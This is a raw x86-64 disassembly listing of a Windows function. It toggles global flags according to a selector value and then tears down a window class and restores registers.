cmp edx, 3
jne 0x140059157
cmp byte [rsp + 0x61], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005925c
cmp byte [0x1401f9067], r11b
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 4
jne 0x140059186
cmp byte [rsp + 0x62], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14005925c
cmp byte [0x1401f9067], bl
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 5
jne 0x1400591b7
cmp byte [rsp + 0x63], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14005925c
cmp byte [0x1401f9067], dil
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 6
jne 0x1400591e5
cmp byte [rsp + 0x64], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14005925c
cmp byte [0x1401f9067], sil
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 7
jne 0x14005920b
cmp byte [rsp + 0x65], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005925c
cmp byte [0x1401f9067], r14b
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 8
jne 0x140059231
cmp byte [rsp + 0x66], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005925c
cmp byte [0x1401f9067], r15b
sete byte [0x1401f9067]
jmp 0x14005925c
cmp edx, 9
jne 0x140059257
cmp byte [rsp + 0x67], 0
je 0x140059257
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005925c
cmp byte [0x1401f9067], r12b
sete byte [0x1401f9067]
jmp 0x14005925c
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x1401f8ff4]
cmp eax, 1
jne 0x140059278
test r13b, r13b
je 0x14005930e
test r9b, r9b
jmp 0x1400592fe
cmp eax, 2
jne 0x14005928a
test dl, dl
je 0x14005930e
test r10b, r10b
jmp 0x1400592fe
cmp eax, 3
jne 0x14005929b
cmp byte [rsp + 0x61], 0
je 0x14005930e
test r11b, r11b
jmp 0x1400592fe
cmp eax, 4
jne 0x1400592ab
cmp byte [rsp + 0x62], 0
je 0x14005930e
test bl, bl
jmp 0x1400592fe
cmp eax, 5
jne 0x1400592bc
cmp byte [rsp + 0x63], 0
je 0x14005930e
test dil, dil
jmp 0x1400592fe
cmp eax, 6
jne 0x1400592cd
cmp byte [rsp + 0x64], 0
je 0x14005930e
test sil, sil
jmp 0x1400592fe
cmp eax, 7
jne 0x1400592de
cmp byte [rsp + 0x65], 0
je 0x14005930e
test r14b, r14b
jmp 0x1400592fe
cmp eax, 8
jne 0x1400592ef
cmp byte [rsp + 0x66], 0
je 0x14005930e
test r15b, r15b
jmp 0x1400592fe
cmp eax, 9
jne 0x14005930e
cmp byte [rsp + 0x67], 0
je 0x14005930e
test r12b, r12b
jne 0x14005930e
cmp byte [0x1401f9093], 0
sete byte [0x1401f9093]
mov eax, dword [0x1401f90a0]
cmp eax, 1
jne 0x14005932a
test r13b, r13b
je 0x1400593d9
test r9b, r9b
jmp 0x1400593c9
cmp eax, 2
jne 0x14005933f
test dl, dl
je 0x1400593d9
test r10b, r10b
jmp 0x1400593c9
cmp eax, 3
jne 0x140059354
cmp byte [rsp + 0x61], 0
je 0x1400593d9
test r11b, r11b
jmp 0x1400593c9
cmp eax, 4
jne 0x140059364
cmp byte [rsp + 0x62], 0
je 0x1400593d9
test bl, bl
jmp 0x1400593c9
cmp eax, 5
jne 0x140059387
cmp byte [rsp + 0x63], 0
je 0x1400593d9
test dil, dil
jne 0x1400593d9
cmp byte [0x1401f9091], dil
sete al
mov byte [0x1401f9091], al
jmp 0x1400593e0
cmp eax, 6
jne 0x140059398
cmp byte [rsp + 0x64], 0
je 0x1400593d9
test sil, sil
jmp 0x1400593c9
cmp eax, 7
jne 0x1400593a9
cmp byte [rsp + 0x65], 0
je 0x1400593d9
test r14b, r14b
jmp 0x1400593c9
cmp eax, 8
jne 0x1400593ba
cmp byte [rsp + 0x66], 0
je 0x1400593d9
test r15b, r15b
jmp 0x1400593c9
cmp eax, 9
jne 0x1400593d9
cmp byte [rsp + 0x67], 0
je 0x1400593d9
test r12b, r12b
jne 0x1400593d9
cmp byte [0x1401f9097], 0
sete byte [0x1401f9097]
movzx eax, byte [0x1401f9091]
mov edx, dword [0x1401f9088]
cmp edx, 1
jne 0x140059410
test r13b, r13b
je 0x140059540
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 2
jne 0x140059439
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x140059545
test r10b, r10b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 3
jne 0x140059465
cmp byte [rsp + 0x61], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 4
jne 0x140059490
cmp byte [rsp + 0x62], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 5
jne 0x1400594bc
cmp byte [rsp + 0x63], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 6
jne 0x1400594dd
cmp byte [rsp + 0x64], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 7
jne 0x1400594fe
cmp byte [rsp + 0x65], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 8
jne 0x14005951f
cmp byte [rsp + 0x66], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
cmp edx, 9
jne 0x140059540
cmp byte [rsp + 0x67], 0
je 0x140059540
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x140059545
test al, al
sete byte [0x1401f9091]
jmp 0x140059545
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x14022ee78]
cmp eax, 1
jne 0x14005957a
test r13b, r13b
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x1400596db
cmp byte [0x1401f908f], r9b
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 2
jne 0x1400595a8
test dl, dl
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x1400596db
cmp byte [0x1401f908f], r10b
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 3
jne 0x1400595d6
movzx eax, byte [rsp + 0x61]
test al, al
je 0x1400596db
test r11b, r11b
jne 0x1400596db
cmp byte [0x1401f908f], r11b
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 4
jne 0x140059605
cmp byte [rsp + 0x62], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test bl, bl
jne 0x1400596db
cmp byte [0x1401f908f], bl
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 5
jne 0x140059636
cmp byte [rsp + 0x63], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test dil, dil
jne 0x1400596db
cmp byte [0x1401f908f], dil
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 6
jne 0x140059664
cmp byte [rsp + 0x64], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test sil, sil
jne 0x1400596db
cmp byte [0x1401f908f], sil
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 7
jne 0x14005968a
cmp byte [rsp + 0x65], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test r14b, r14b
jne 0x1400596db
cmp byte [0x1401f908f], r14b
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 8
jne 0x1400596b0
cmp byte [rsp + 0x66], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test r15b, r15b
jne 0x1400596db
cmp byte [0x1401f908f], r15b
sete byte [0x1401f908f]
jmp 0x1400596db
cmp eax, 9
jne 0x1400596d6
cmp byte [rsp + 0x67], 0
je 0x1400596d6
movzx eax, byte [rsp + 0x61]
test r12b, r12b
jne 0x1400596db
cmp byte [0x1401f908f], r12b
sete byte [0x1401f908f]
jmp 0x1400596db
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x1400596f2
test r13b, r13b
je 0x140059788
test r9b, r9b
jmp 0x14005977d
cmp r8d, 2
jne 0x140059705
test dl, dl
je 0x140059788
test r10b, r10b
jmp 0x14005977d
cmp r8d, 3
jne 0x140059714
test al, al
je 0x140059788
cmp r8d, 4
jne 0x140059725
jne 0x140059788
mov byte [0x1401f902e], al
movzx eax, byte [rsp + 0x62]
mov byte [0x1401f9002], al
movzx eax, byte [rsp + 0x63]
mov byte [0x1401f905a], al
movzx eax, byte [rsp + 0x64]
mov byte [0x1401f902c], al
movzx eax, byte [rsp + 0x65]
mov byte [0x1401f8fcf], al
movzx eax, byte [rsp + 0x66]
mov byte [0x1401f8ff9], al
movzx eax, byte [rsp + 0x67]
mov byte [0x1401f902f], al
mov byte [0x1401f8fce], r13b
mov byte [0x1401f909e], dl
call fcn.1400089a0
cmp byte [reloc.WS2_32.dll_accept], 0
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14016bf4c]
je 0x140059802
call fcn.140045f40
call fcn.140046290
xor ecx, ecx
call fcn.140006a00
call fcn.14005da10
mov rcx, qword [0x1401f9048]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x280]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x20e0]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x20f0]
movaps xmm13, xmmword [rsp + 0x2100]
movaps xmm12, xmmword [rsp + 0x2110]
movaps xmm11, xmmword [rsp + 0x2120]
movaps xmm10, xmmword [rsp + 0x2130]
movaps xmm9, xmmword [rsp + 0x2140]
movaps xmm8, xmmword [rsp + 0x2150]
movaps xmm7, xmmword [rsp + 0x2160]
movaps xmm6, xmmword [rsp + 0x2170]
mov r15, qword [rsp + 0x2180]
mov r14, qword [rsp + 0x21c0]
mov r13, qword [rsp + 0x21b8]
mov rdi, qword [rsp + 0x21b0]
add rsp, 0x2188
pop r12
pop rsi
pop rbx
pop rbp
ret